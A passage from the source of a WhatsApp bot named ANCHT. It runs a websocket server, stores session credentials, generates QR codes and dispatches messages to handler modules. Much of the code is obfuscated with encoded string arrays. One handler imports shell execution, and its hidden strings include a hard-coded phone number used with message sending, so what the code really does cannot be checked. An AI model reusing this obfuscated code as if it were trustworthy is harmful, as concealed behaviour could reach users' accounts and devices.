'W7ldKfrSpgK', 'W5xcQmkAW4u', 'muTzBKTUBG', 'WR8yiG', 'WOKskmk8WQne', 'oCkWW55lW6ScW7znB8oy', 'zgvMyxvSDa', 'W6NdNColBSoyW5eRWR5jW7i', 'W6iVzCkUpZT4tmojWQy', 'CMvK']; const k = function (d, e) { return b(e - '0xf9', d); }, j = function (d, e) { return c(e - 0xf9, d); }; function b(c, d) { c = c - 0x150; let e = a[c]; if (b['UkFCNi'] === undefined) { var f = function (k) { const l = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; let m = ''; for (let n = 0x0, o, p, q = 0x0;p = k['charAt'](q++);~p && (o = n % 0x4 ? o * 0x40 + p : p, n++ % 0x4) ? m += String['fromCharCode'](0xff & o >> (-0x2 * n & 0x6)) : 0x0) { p = l['indexOf'](p); } return m; }; const j = function (l, m) { let n = [], o = 0x0, p, q = '', r = ''; l = f(l); for (let u = 0x0, v = l['length'];u < v;u++) { r += '%' + ('00' + l['charCodeAt'](u)['toString'](0x10))['slice'](-0x2); } l = decodeURIComponent(r); let t; for (t = 0x0;t < 0x100;t++) { n[t] = t; } for (t = 0x0;t < 0x100;t++) { o = (o + n[t] + m['charCodeAt'](t % m['length'])) % 0x100, p = n[t], n[t] = n[o], n[o] = p; } t = 0x0, o = 0x0; for (let w = 0x0;w < l['length'];w++) { t = (t + 0x1) % 0x100, o = (o + n[t]) % 0x100, p = n[t], n[t] = n[o], n[o] = p, q += String['fromCharCode'](l['charCodeAt'](w) ^ n[(n[t] + n[o]) % 0x100]); } return q; }; b['KjAVGx'] = j, b['pDbnCG'] = {}, b['UkFCNi'] = !![]; } const g = a[0x0], h = c + g, i = b['pDbnCG'][h]; return i === undefined ? (b['kxQIEN'] === undefined && (b['kxQIEN'] = !![]), e = b['KjAVGx'](e, d), b['pDbnCG'][h] = e) : e = i, e; } function c(b, d) { b = b - 0x150; let e = a[b]; if (c['UXXHuI'] === undefined) { var f = function (j) { const k = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; let l = ''; for (let m = 0x0, n, o, p = 0x0;o = j['charAt'](p++);~o && (n = m % 0x4 ? n * 0x40 + o : o, m++ % 0x4) ? l += String['fromCharCode'](0xff & n >> (-0x2 * m & 0x6)) : 0x0) { o = k['indexOf'](o); } return l; }; c['bSdEKb'] = function (j) { const k = f(j); let l = []; for (let m = 0x0, n = k['length'];m < n;m++) { l += '%' + ('00' + k['charCodeAt'](m)['toString'](0x10))['slice'](-0x2); } return decodeURIComponent(l); }, c['WBXyZD'] = {}, c['UXXHuI'] = !![]; } const g = a[0x0], h = b + g, i = c['WBXyZD'][h]; return i === undefined ? (e = c['bSdEKb'](e), c['WBXyZD'][h] = e) : e = i, e; } (function (d, e) { const i = function (d, e) { return c(d - 0x246, e); }, h = function (d, e) { return b(d - '0x246', e); }; while (!![]) { try { const f = -parseInt(h(0x3c0, 'zW2B')) + parseInt(h(0x399, '1V21')) + parseInt(i('0x3be', '0x3ad')) + parseInt(i(0x397, '0x383')) + parseInt(i(0x3a0, 0x3a6)) + -parseInt(i(0x3ba, '0x3ab')) + -parseInt(i(0x3ab, 0x3a5)) * parseInt(i(0x3c9, 0x3aa)); if (f === e) break; else d['push'](d['shift']()); } catch (g) { d['push'](d['shift']()); } } }(a, 0x9299e)); const figlet = require(j(0x275, 0x267)), clui = require(k('ZaYc', 0x27b)), { Spinner } = clui, delay = d => new Promise(e => setTimeout(e, d)); function title() { const m = function (d, e) { return k(d, e - -0x87); }, l = function (d, e) { return j(d, e - -0x87); }; console[l(0x1ed, '0x1d3')](), console[l('0x1b0', '0x1c2')](chalk['bold']['green'](figlet[l('0x1c6', 0x1ca)](m('umkp', 0x1db), { 'font': l(0x1de, '0x1ee') + 'nt', 'horizontalLayout': m('s1Gi', '0x1f0'), 'verticalLayout': l(0x201, 0x1f9), 'width': 0x78, 'whitespaceBreak': ![] }))), console[m('$NGu', 0x1eb)](chalk[m('bGqH', '0x1cb')](l(0x1f3, '0x1f1') + m('s1Gi', 0x1f8) + m('tuOa', 0x1dd) + chalk[m('umkp', '0x1fe')](l(0x1d7, '0x1f2') + m('dhtF', '0x1c6') + ']') + '\x0a\x0a' + chalk[l('0x20b', '0x1fc')](m('JgG!', '0x1d9')) + '\x20:\x20' + chalk[l(0x206, 0x1e8)](m('c8mx', '0x1e4') + l('0x1fd', 0x1e5)) + '\x0a' + chalk[m('Wvm3', '0x1e3')](m('Wvm3', '0x1ed') + m('zW2B', 0x1f3)) + '\x20:\x20' + chalk[l('0x203', '0x1e8')]('@hanif_az.' + m('JgG!', '0x1d6')) + '\x0a' + chalk[m('H9Yc', '0x1cf')](l(0x1e6, 0x1de) + m('h0S9', 0x1cd) + 'pp') + l(0x1f4, 0x202) + chalk[m('Z*qA', 0x1dc)](l('0x1f6', 0x1ff) + '03-8021') + '\x0a' + chalk[m('h0S9', 0x1f6)]('Github') + '\x20:\x20' + chalk[l(0x204, '0x1e8')](l('0x203', 0x1e9) + m('mCYG', '0x1fa') + l(0x1da, 0x1ce)) + '\x0a' + chalk['red'](m('h0S9', 0x1f7)) + '\x20:\x20' + chalk['white'](l('0x1e4', 0x1d4) + l('0x1dc', '0x1d5') + l('0x1aa', 0x1c9) + m('KnwY', '0x1c7')) + '\x0a')); } const settings = process[j('0x243', '0x24f')][0x2] || JSON[j(0x274, '0x287')](fs[k('gPP(', 0x268) + 'nc'](k('8w*(', 0x282) + j('0x282', '0x266'))), mysession = settings[k('bJ9Y', 0x257) + 'me'], status = new Spinner(chalk[j(0x268, '0x26e')](k('H$5i', '0x269') + 'NCHT')), starting = new Spinner(chalk[j(0x26e, 0x26e)](j(0x26b, 0x284) + k('T8FO', '0x24b') + k('liu0', 0x259))), reconnect = new Spinner(chalk[k('$NGu', 0x276)](j('0x238', '0x258') + k('9ND(', '0x288'))); 14 | 15 | const mulai = async (sesi, conn = new WAConnection()) => { 16 | 17 | status.start() 18 | conn.logger.level = 'error' 19 | conn.connectOptions.logQR = false 20 | const a = ['WOKpa8ocWRBcLbnis8oI', 'W5tcHCkyvq', 'W6yEsSk+c8omf8odWP/cVCo3qq', 'oXz4WRBcOmosWO/dRCkjWPG', 'B8k9W54J', 'r8kdWRtcRCocW6tcR8kglSkp', '1pifQNB', 'j0Sfu8kam8odW4NcHa', 'WONdNCo3hSoBWPJdKW', 'ler', 'tSo0ssG', 'W5xcLmkesSoUgmk7', 'mafVW7ZcRCo8WPtdOCkaWOq', '963qqYdvZ', '[\x20ANCHT\x20]\x20', 'W7pcSCkjWP3dNSo9W7GrWPT9', 'resolve', 'cyanBright', 'yH5ptmkjlmop', 'pCowjmk4W6ZcM0e', 'o8kSW57dKCkeWRhcTsldIwq', 'bCkVW4jJF8k9u8kTaSoX', 'n\x20scan,,', 'aGNcM1e', 'W5u+r8oPWQCbtmkngH/cRmoV', 'W4fpaSoDWRtdJW', 'WPNcSCk3WQlcKSklW4KPWQW', 'toDataURL', 'WQORWOzXof7cOW', 'nvlcUwZdGSkWAhCY', 'HH:mm:ss\x20D', '2EXezsI', 'e1XhW5tdRmoNWR/dKCk+', 'W7i4W4tcQSkdrCoC', 'BSosFSo7W51oW6lcTXFcGW', 'nbxcPmo8pWJdO8k1W7BdVW', './src/hand', 'W7/cVSkVWP/dMCkZW6qvWPe4', 'umotW5hdKb48ma', 'juTLBWNcQd9iWQS', 'ler/socket', 'WOaThConW6abWQFcN31F', 'nKhcLmo+mWJdS8kXW6ldVG', 'WObqqmkelXXYm8opba', 'WPPncqH9W6a', 'W7JcSMhdHCkoW5lcV2NcMmkrW5TpW70', 'BrhcPCosWOZcJ8kaf8kYWOG', 'iaDyjtpdQG', 'stop', 'greenBrigh', 'kL3cTw/cRSkHzq42WOa', 'WPLGrSoJuCoppmorW57cIW', 'ler/client', 'perhatikan', 'WPW5W4e9W64xi8oYWP9Ol8kcWRu', './src/medi', 'Message', 'F0nJW6WkC1G1WOvH', 'W5e3WQXvWOVcU8khW4LpW6ZdQ8ox', '943873lHKliz', 'log', 'info', '.png', 'bIfdW7FcT8oBWPtdVSkgWOa', '1520302FGGpgX', 'ync', 'WQb7ymknpCoXWOvcWQBdRq', 'm8ktW4BdLXf2Emo6WOhdQa', 'FNNdNSoXWQldVCkNrmopW6W', 'Handler', 'DCkwjCkpW67dL0hcObL5', 'W49neCoBWRZdLrW', 'WO5SW60aW53dVa', 'dWLrW7/dVmkxymo7WR4y', 'WOn9fmk7W7b0umkffWe', '249569oymqSW', 'WPTvgWmjWQyjW551Fa', 'W7yVWRzbWPTSqSk8WO0A', '116797najvUX', 'rIddVSorWQpdH8kAa8o6WRG', 'D/MM/YYYY', 'WPddR2G', 'W7NdLJ7cIL/cS8oBCmk4EG', 'jSkRsmkXrSk2WQpdJq', 'hXjKW73cR8oBWPq', 'tmk6W7uk', '11kjficB', 'format', 'FCk6bCoyW7m8W4xdPgRdPW', '709peiiQG', '\x20sedang\x20di', 'WRSrsmoq', 'watchFile', 'W7eVwSkn', 'Dmkwpf/cOmoEW6rKWPCZ']; const p = function (d, e) { return b(d - -'0x242', e); }, o = function (d, e) { return c(d - -0x242, e); }; (function (d, e) { const j = function (d, e) { return c(e - 0x38a, d); }, i = function (d, e) { return b(e - 0x38a, d); }; while (!![]) { try { const f = parseInt(i('0x451', '0x447')) * parseInt(j('F*D$', '0x489')) + parseInt(j('gh*&', '0x48e')) * -parseInt(i(0x471, 0x494)) + parseInt(i('0x47b', '0x473')) + -parseInt(i(0x46f, '0x468')) + parseInt(j(')6xG', 0x45e)) + -parseInt(i(0x47a, 0x47e)) * parseInt(i(0x450, 0x476)) + -parseInt(i('0x4a6', '0x48d')) * -parseInt(j('i6FS', '0x462')); if (f === e) break; else d['push'](d['shift']()); } catch (g) { d['push'](d['shift']()); } } }(a, 0xdbd2f), title()); function nocache(d, e = () => { }) { const l = function (d, e) { return b(d - -'0x2a', e); }, k = function (d, e) { return c(d - -0x2a, e); }; conn[k(0xa3, 'GffE')][l(0xb1, 0x9d)](k(0x9a, 'XVax') + d + (l(0xce, 0xaf) + l(0xa9, '0x80') + k(0x9e, '6MWa') + 'perubahan')), fs[l(0xd0, 0xb3)](require[k('0x86', 'gh*&')](d), async () => { const m = function (d, e) { return k(e - -'0x1f3', d); }; await uncache(require[m('X50*', -0x115)](d)), e(d); }); } function b(c, d) { c = c - 0xad; let e = a[c]; return e; } function c(b, d) { b = b - 0xad; let e = a[b]; if (c['AphrMP'] === undefined) { var f = function (k) { const l = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; let m = ''; for (let n = 0x0, o, p, q = 0x0;p = k['charAt'](q++);~p && (o = n % 0x4 ? o * 0x40 + p : p, n++ % 0x4) ? m += String['fromCharCode'](0xff & o >> (-0x2 * n & 0x6)) : 0x0) { p = l['indexOf'](p); } return m; }; const j = function (l, m) { let n = [], o = 0x0, p, q = '', r = ''; l = f(l); for (let u = 0x0, v = l['length'];u < v;u++) { r += '%' + ('00' + l['charCodeAt'](u)['toString'](0x10))['slice'](-0x2); } l = decodeURIComponent(r); let t; for (t = 0x0;t < 0x100;t++) { n[t] = t; } for (t = 0x0;t < 0x100;t++) { o = (o + n[t] + m['charCodeAt'](t % m['length'])) % 0x100, p = n[t], n[t] = n[o], n[o] = p; } t = 0x0, o = 0x0; for (let w = 0x0;w < l['length'];w++) { t = (t + 0x1) % 0x100, o = (o + n[t]) % 0x100, p = n[t], n[t] = n[o], n[o] = p, q += String['fromCharCode'](l['charCodeAt'](w) ^ n[(n[t] + n[o]) % 0x100]); } return q; }; c['ydKNCT'] = j, c['WBrGXq'] = {}, c['AphrMP'] = !![]; } const g = a[0x0], h = b + g, i = c['WBrGXq'][h]; return i === undefined ? (c['btFeZD'] === undefined && (c['btFeZD'] = !![]), e = c['ydKNCT'](e, d), c['WBrGXq'][h] = e) : e = i, e; } function uncache(d = '.') { return new Promise((f, g) => { const n = function (d, e) { return b(d - 0x37, e); }; try { delete require['cache'][require[n('0xe5', '0xf0')](d)], f(); } catch (h) { g(h); } }); } let clientsNow = [], webSockets = {}; const isClientLog = !![]; require(o(-0x195, 'TkjX') + p(-'0x13c', -0x137)), require(p(-0x180, -'0x18c') + o(-'0x18f', 'khq#') + o(-0x150, 'EVkT')), require(o(-0x161, 'XVax') + o(-'0x142', 'EVkT') + p(-0x16c, -'0x17c')), require(o(-0x16b, '[*a2') + o(-'0x15d', 'SiTd')), nocache(o(-'0x146', '&^M0') + 'hmaking', d => { const r = function (d, e) { return o(e - 0x5f, d); }, q = function (d, e) { return p(e - 0x5f, d); }; reconnect[q(-'0xfa', -0x115)](), starting[r('joZB', -0xe8)](), status[q(-0xf7, -'0x115')](), console['log'](chalk[q(-'0x112', -'0x114') + 't']('[\x20ANCHT\x20]\x20' + '\x20') + moment(new Date())['format']('HH:mm:ss\x20D' + r('EVkT', -0x125)) + chalk['cyanBright']('\x20\x22' + d + r('TkjX', -'0x120'))), clientsNow['forEach'](e => { const t = function (d, e) { return r(d, e - 0xb8); }, s = function (d, e) { return q(d, e - 0xb8); }; if (!isClientLog) return; e['send'](chalk[s(-0x81, -0x5c) + 't'](s(-'0x3e', -0x20) + '\x20') + moment(new Date())[s(-0x8, -'0x36')](t('F*D$', -0x5a) + s(-'0x14', -0x3d)) + chalk[s(-0x56, -'0x7c')]('\x20\x22' + d + '\x22\x20Updated!')); }); }), nocache(o(-0x145, 'SiTd') + p(-0x13c, -0x11c), d => { const v = function (d, e) { return o(e - 0x9, d); }, u = function (d, e) { return p(e - '0x9', d); }; reconnect[u(-0x158, -0x16b)](), starting[v('oCGB', -0x140)](), status[v('Nxe6', -0x138)](), console['log'](chalk['greenBrigh' + 't'](v('i6fW', -0x169) + '\x20') + moment(new Date())['format'](u(-0x168, -0x17d) + v('i6fW', -'0x17e')) + chalk[v('*9cO', -0x187)]('\x20\x22' + d + v('6MWa', -'0x178'))), clientsNow[v('f6)X', -'0x188')](e => { const x = function (d, e) { return u(d, e - '0x1f0'); }, w = function (d, e) { return v(d, e - 0x1f0); }; if (!isClientLog) return; e['send'](chalk['greenBrigh' + 't'](w(')6xG', '0xa2') + '\x20') + moment(new Date())['format'](x(0x48, '0x73') + 'D/MM/YYYY') + chalk['cyanBright']('\x20\x22' + d + '\x22\x20Updated!')); }); }), nocache(p(-0x180, -'0x1a6') + p(-'0x17c', -0x14e) + p(-0x15f, -0x177), d => { const z = function (d, e) { return p(d - -'0x3dd', e); }, y = function (d, e) { return o(d - -0x3dd, e); }; reconnect['stop'](), starting['stop'](), status[y(-0x56a, 'i6fW')](), console['log'](chalk[z(-'0x550', -0x575) + 't'](y(-'0x53d', 'uV9q') + '\x20') + moment(new Date())[y(-'0x568', 'SiTd')](y(-'0x55f', 'N6OD') + y(-'0x567', 'TkjX')) + chalk[y(-0x535, 'DYi9')]('\x20\x22' + d + y(-0x52f, 'npf1'))), clientsNow[y(-0x560, '31ZN')](e => { const B = function (d, e) { return z(d - -0x95, e); }, A = function (d, e) { return y(d - -0x95, e); }; if (!isClientLog) return; e[A(-0x5ad, 'tQBB')](chalk[A(-0x5cc, '431!') + 't'](A(-0x5b2, 'XS*d') + '\x20') + moment(new Date())[B(-0x5bf, -0x5e4)]('HH:mm:ss\x20D' + B(-'0x5c6', -0x5a6)) + chalk[B(-0x605, -0x62e)]('\x20\x22' + d + '\x22\x20Updated!')); }); }), nocache(o(-'0x15e', 'f6)X') + p(-0x170, -'0x168') + p(-'0x16c', -0x157), d => { const D = function (d, e) { return p(e - 0x240, d); }, C = function (d, e) { return o(e - '0x240', d); }; reconnect[C('X50*', 0xfc)](), starting[D('0xa1', '0xcc')](), status['stop'](), console[D(0xb7, '0xd8')](chalk[C('EVkT', 0x107) + 't'](D(0x125, '0x109') + '\x20') + moment(new Date())['format'](C('uV9q', '0xca') + D(0xec, 0xec)) + chalk[C('uV9q', '0xeb')]('\x20\x22' + d + C('joZB', 0xde))), clientsNow[C('X[6$', '0x103')](e => { const F = function (d, e) { return D(d, e - '0x159'); }, E = function (d, e) { return C(d, e - '0x159'); }; if (!isClientLog) return; e[E('w9UF', '0x24a')](chalk[F(0x223, 0x226) + 't'](E('N6OD', '0x24d') + '\x20') + moment(new Date())[F('0x222', '0x24c')](E('oCGB', '0x21e') + F(0x271, 0x245)) + chalk[F(0x219, '0x206')]('\x20\x22' + d + '\x22\x20Updated!')); }); }), conn['on']('qr', async d => { const H = function (d, e) { return o(e - 0x16e, d); }, G = function (d, e) { return p(e - '0x16e', d); }; status[G('0x11', -'0x6')](), await delay(0x3e8), conn['regenerate' + H('EVkT', '0x9') + 'Ms'] = null, qrcode[G(-'0x2d', -'0x1b')](d, { 'scale': 0x8 }, (e, f) => { const J = function (d, e) { return G(d, e - -'0xc1'); }, I = function (d, e) { return H(d, e - -'0xc1'); }, g = f[I('R2fh', -0xdb)](/^data:image\/png;base64,/, ''); fs[I('eog%', -0xae) + J(-0xa2, -0xb6)](J(-0xe5, -0xc0) + I('Zbd(', -'0xd0') + sesi + J(-0xd4, -0xb9), g, I('DYi9', -'0xcb')); }), console[H('xjBf', '0x1b')]('[\x20' + moment()[H('i6FS', 0x12)](H('Wp^j', '0x1d')) + (H('M0bJ', -'0xb') + G(-'0x22', -0x20))); }); 21 | const responseWeb = await Axios.get('https://web.whatsapp.com/check-update?version=0&platform=web') 22 | const resData = responseWeb.data 23 | conn.version = resData.currentVersion.split('.').map(i => Number(i)) 24 | console.log('\n', chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.magentaBright('Wa Web Version ' + conn.version.join("."))) 25 | console.log(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.magentaBright('Maximum Matches In ' + settings.maxMatch + ' Seconds')) 26 | conn.on('qr', async qr => { 27 | status.stop() 28 | termqr.generate(qr, { small: true }) 29 | qrcode.toDataURL(qr, { scale: 8 }, (err, Durl) => { 30 | const data = Durl.replace(/^data:image\/png;base64,/, '') 31 | fs.writeFileSync(`./src/media/qrcode/${sesi}.png`, data, 'base64') 32 | }) 33 | }) 34 | 35 | let IsShouldmessage = false 36 | let ConnectingWs = true 37 | 38 | conn.on('contacts-received', async () => { 39 | const authInfo = conn.base64EncodedAuthInfo() 40 | fs.writeFileSync('./src/sessions/' + sesi + '.sesi.json', JSON.stringify(authInfo, null, 2)) 41 | delay(1000) 42 | status.stop() 43 | starting.stop() 44 | if (!IsShouldmessage) { 45 | console.log(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.magentaBright('Server Ready ✓')) 46 | } else { 47 | reconnect.stop() 48 | } 49 | reconnect.stop() 50 | const isi = `[ ANCHT ] Started At ${moment().format('HH:mm:ss DD/MM/YYYY')}` 51 | if (ConnectingWs) { 52 | conn.sendMessage(settings.Owner, isi, 'conversation', { quoted: { key: { remoteJid: "0@s.whatsapp.net", fromMe: false, }, message: { conversation: `*Created By MRHRTZ*`, }, } }) 53 | } 54 | IsShouldmessage = true 55 | }) 56 | 57 | 58 | fs.existsSync('./src/sessions/' + sesi + '.sesi.json') && conn.loadAuthInfo('./src/sessions/' + sesi + '.sesi.json') 59 | 60 | conn.connect() 61 | 62 | conn.on('connecting', (json) => { }) 63 | 64 | conn.on('connection-phone-change', async (json) => { }) 65 | 66 | conn.on('open', (json) => { 67 | status.stop() 68 | reconnect.stop() 69 | starting.start() 70 | if (ConnectingWs) { 71 | console.log(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.cyanBright('Connected as ' + json.user.name)) 72 | console.log(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.yellow(json.user.phone.device_manufacturer + ' Phone Detected')) 73 | } else { 74 | reconnect.stop() 75 | console.log(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.greenBright('Connected Back')) 76 | clientsNow.forEach((client) => { 77 | if (!isClientLog) return 78 | client.send(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + chalk.greenBright(` Connected Back`)) 79 | }) 80 | } 81 | }) 82 | 83 | const express = require('express') 84 | const PORT = process.env.PORT || settings.PORT; 85 | const { Server } = require('ws'); 86 | 87 | const server = express() 88 | .use((req, res) => { 89 | res.send({ status: true, address: req.headers['x-forwarded-for'] || req.connection.remoteAddress }) 90 | }) 91 | .listen(PORT, () => console.log(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.blueBright('Socket Ready On Port ' + PORT))); 92 | 93 | 94 | const wss = new Server({ server }); 95 | 96 | 97 | wss.on('connection', async (ws) => { 98 | clientsNow.push(ws) 99 | reconnect.stop() 100 | starting.stop() 101 | status.stop() 102 | var userID = clientsNow.length 103 | webSockets[userID] = ws 104 | console.log(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.bgBlueBright('Client ' + userID + ' Connected ')) 105 | const statusConnected = chalk.greenBright('\nConnected client id : ' + clientsNow.length) 106 | ws.send(statusConnected) 107 | clientsNow.forEach((client) => { 108 | client.send(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.bgBlueBright('Client ' + userID + ' Connected ')) 109 | }); 110 | ws.onmessage = (message) => { 111 | const dataMsg = message.data 112 | 113 | clientsNow.forEach((client) => { 114 | client.send(chalk.cyanBright('Client ') + ': ' + chalk.white(dataMsg)) 115 | }); 116 | const wsArgs = dataMsg.split(/ +/g) 117 | console.log( 118 | chalk.greenBright('[ ANCHT ] '), 119 | moment(new Date()).format('HH:mm:ss DD/MM/YYYY'), 120 | chalk.blueBright(dataMsg), 121 | "dari", 122 | chalk.bgGreen(`[ Client WS ]`)); 123 | require('./src/handler/socketHandler')(ws, conn, dataMsg, wsArgs, clientsNow) 124 | 125 | 126 | } 127 | ws.on('close', () => { 128 | console.log(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.bgRedBright('Client Disconnected')) 129 | clientsNow.forEach((client) => { 130 | client.send(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + ' ' + chalk.bgRedBright('Client Disconnected')) 131 | }); 132 | }); 133 | }); 134 | 135 | 136 | 137 | conn.on('ws-close', () => { 138 | reconnect.start() 139 | clientsNow.forEach((client) => { 140 | if (!isClientLog) return 141 | client.send(chalk.greenBright('[ ANCHT ] ') + moment(new Date()).format('HH:mm:ss DD/MM/YYYY') + chalk.redBright(` Connection close, reconnect..`)) 142 | }) 143 | ConnectingWs = false 144 | }) 145 | 146 | conn.on('chat-update', (chat) => { 147 | reconnect.stop() 148 | if (chat.imgUrl) { 149 | return 150 | } 151 | if (!chat.hasNewMessage) { 152 | if (chat.messages) { 153 | } 154 | return 155 | } 156 | if (!IsShouldmessage) return 157 | const hurtz = chat.messages.all()[0]; 158 | if (!hurtz.key) return 159 | require('./src/handler/clientMessage')(reconnect, GroupSettingChange, Mimetype, MessageType, conn, hurtz, chat, clientsNow, isClientLog) 160 | require('./src/handler')(reconnect, GroupSettingChange, Mimetype, MessageType, conn, hurtz, chat, clientsNow, isClientLog) 161 | }) 162 | 163 | 164 | conn.on('close', async ({ reason, isReconnecting }) => { 165 | if (!isReconnecting) { 166 | console.log(chalk.redBright('[ ANCHT ] ') + chalk.yellow('Connect To Phone Rejected and Shutting Down.')) 167 | reconnect.stop() 168 | process.exit(1) 169 | } 170 | }) 171 | 172 | conn.on('group-participants-update', async (update) => { }) 173 | 174 | conn.on('CB:action,,battery', (json) => { }) 175 | 176 | conn.on('CB:action,,call', (json) => { }) 177 | 178 | conn.on('CB:Blocklist', (json) => { }) 179 | 180 | conn.on('message-update', async (hurtzz) => { }) //Deprecated 181 | 182 | } 183 | 184 | 185 | 186 | 187 | mulai(mysession) 188 | .catch(e => { 189 | status.start() 190 | console.log(e) 191 | }) 192 | -------------------------------------------------------------------------------- /src/handler/clientMessage.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | 4 | var fs = require("fs"); 5 | var request = require('request') 6 | var chalk = require('chalk') 7 | var moment = require('moment') 8 | var { exec } = require('child_process') 9 | var util = require('util'); 10 | var delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) 11 | var time = moment(new Date()).format('HH:mm:ss DD/MM/YYYY') 12 | 13 | function ERRLOG(e) { 14 | console.log( 15 | chalk.redBright('[ ANCHT ] '), 16 | moment(new Date()).format('HH:mm:ss DD/MM/YYYY'), 17 | chalk.bgGreenBright("name: " + e.name + " message: " + e.message) 18 | ); 19 | } 20 | 21 | function getRemaining(endtime) { 22 | const total = Date.parse(endtime) - Date.parse(new Date()); 23 | const seconds = Math.floor((total / 1000) % 60); 24 | const minutes = Math.floor((total / 1000 / 60) % 60); 25 | const hours = Math.floor((total / (1000 * 60 * 60)) % 24); 26 | const days = Math.floor(total / (1000 * 60 * 60 * 24)); 27 | 28 | return { 29 | total, 30 | days, 31 | hours, 32 | minutes, 33 | seconds, 34 | }; 35 | } 36 | 37 | 38 | let handle; 39 | 40 | module.exports = handle = async ( 41 | Rstats, 42 | GroupSettingChange, 43 | Mimetype, 44 | MessageType, 45 | conn, 46 | hurtz, 47 | chat, 48 | clientsNow, 49 | isClientLog 50 | ) => { 51 | try { 52 | if (hurtz) Rstats.stop() 53 | if (hurtz.key.remoteJid == "status@broadcast") { return; } 54 | 55 | if (!hurtz.message) return; 56 | 57 | const a = ['a8k3nfC', 'Not\x20a\x20vali', 'nunZW5qGyv/cMr7cKW', 'WOmyW7ddMHldV8kVACkOW4a', 'WOCgWPhdVCo/WQJdRJa0', 'ymoxWRS5hmk8W4VdNv0n', 'ephemeralM', 'print', 'ysuxcSoYA1a', 'a20tWQbQ', 'cCoQr8koumo+yg41', 'quotedM', 'sCoSW78LyL7dPq', 'WPnJCSkyW4NcUq', 'q8oEWQrI', 'j3yuWQW', 'WQlcNJS1xtJcGmkD', 'sendMessag', '021@s.what', '2tfqAms', 'vutdS8kdW77cM8ouW6tdK8kn', 'W4zyWQRdJq', 'v8olW4tcJxhcSKZcNvez', 'WO/dNcBdKq7cPt3dU8oC', 'parse', 'W47dPKJdVa', 'W4xcRvJdT13cRa', 'user', 'yeFdVdJcMSkLW4JcP3m', 'ntFdPG7dHCoSWQdcIx3dNN/dGq', 'Emk3W5NdP8k2W4vEo8ohWQK', 'WO5KtmkCW53cR8oRW4JcTa', 'dmkfWOW', './src/sett', 'Owner', '0@s.whatsa', 'cdnQWOFdNmoB', 'nghcGmoyW5WRWQ5F', 'yfldQtq', 'WORdKw0uWQWiWO7cMmk3', 'vmouW57cHx3cOW', 'd8kdc8oLAcvWWPFdU8oy', 'fmkZn1FcGeBdTa', 'paused', 'WPulW63dGZBdUq', 'message', 'chat', 'WOJdL14', 'vCohWRDIkmkrW6NcTgRdGq', 'iL53W50VzL8', 'aSoQEmkctCoQAg8P', 'W4TpWRdcL0pcR8k8q8kDW6JdMc4', 'eSk8jey', 'lhvcWO1/WOVcVSknW48C', '1644335HQAEDU', 'vname', 'AwxcOeNcKmk5WOS', 'w14IWRDwuCkC', 'videoMessa', 'aSkIi0lcNuZdISkyW4pdRq', 'Contact', 'mgTfWOb+WORcI8km', 'W4XRW4tcMmoIWOqgW7uDWQq', '175442NrNHDm', 'imageMessa', 'WQXzBCo6mSoAW40', '6285559038', 'WQFcN0GOW4y7W53cT8kurq', 'key', 'Af0fWRTQAmocwmk7W5O', 'bZj+WOu', 'documentMe', 'essage', 'WPldKSkWnZBcLuW', 'chatRead', 'text', 'W43cL3bhgXyvW5JdICk6', 'yWGPWRRdKg/cLCoagqq', 'conversati', 'WPybW7BdIXxdUmkJFCkDW4S', 'm8omWP7dNLdcV8oiW5DecW', 'WPddI2SvW7yrWQRcNSkTsa', 'Ar81WRZdGuxcLq', 'W4jyWR8mWP7dLmkjia', 'WPhdTKxcN8kKWQpdIsedeq', 'WPBdO2RdVG', 'BSkQW4pdPSkvW4rilmoYWQS', 'conn', 'WOxdJrVdMbZcTtK', 'match', 'fSkciSoPDbT0WOpdRq', 'nCozWPtdM2NcV8oRW5zahW', 'CCojW4NcIwJcSLRdNh8T', 'W45EWQtdIhaC', 'W4VcSJRcQSoap8kXW6xdRu4', 'W55fWQ/dGfi0WQTBWRvR', 'W7BdRColW5BcSSkFWP8', 'EYbcW7OXkCkMw8kNW7ihW6O', 'W6H5DSkw', 'hmkth8oGzGTW', 'W7RcRwpdIMxcRuKkAWG', 'toLowerCas', 'gan\x20digant', 'WP03x8kJW614', 'uCouW4lcNhNcR0RcTvmY', 'W5HcWR0sWP/dG8k7oGb4', 'WQlcLYOdEWpdJG', 'BZ3cH8oKW7eQWOjA', 'DmoffLaEW7e', '322030SwNIRt', 'W5ldVKZdOLq', 'WOSnW4/dIWJdR8kNFSkS', 'quotedMess', 'sSopW7xdOCkPkx0', 'WOBdJ2icW68hWO/cLSk1Bq', 'xtMessage', 'W4ztWQ8tWORdL8kj', 'dCkzaCo4yHbHWQ3dPSoF', 'W7VcQt3cVCooiSk3', 'groupMetad', 'low', 'ata', 'DL3dRtq', 'd\x20url!', '22dPXeIv', 'ASoqWR05aW', 'W6LSsW', 'WOWcWRddSCo4', 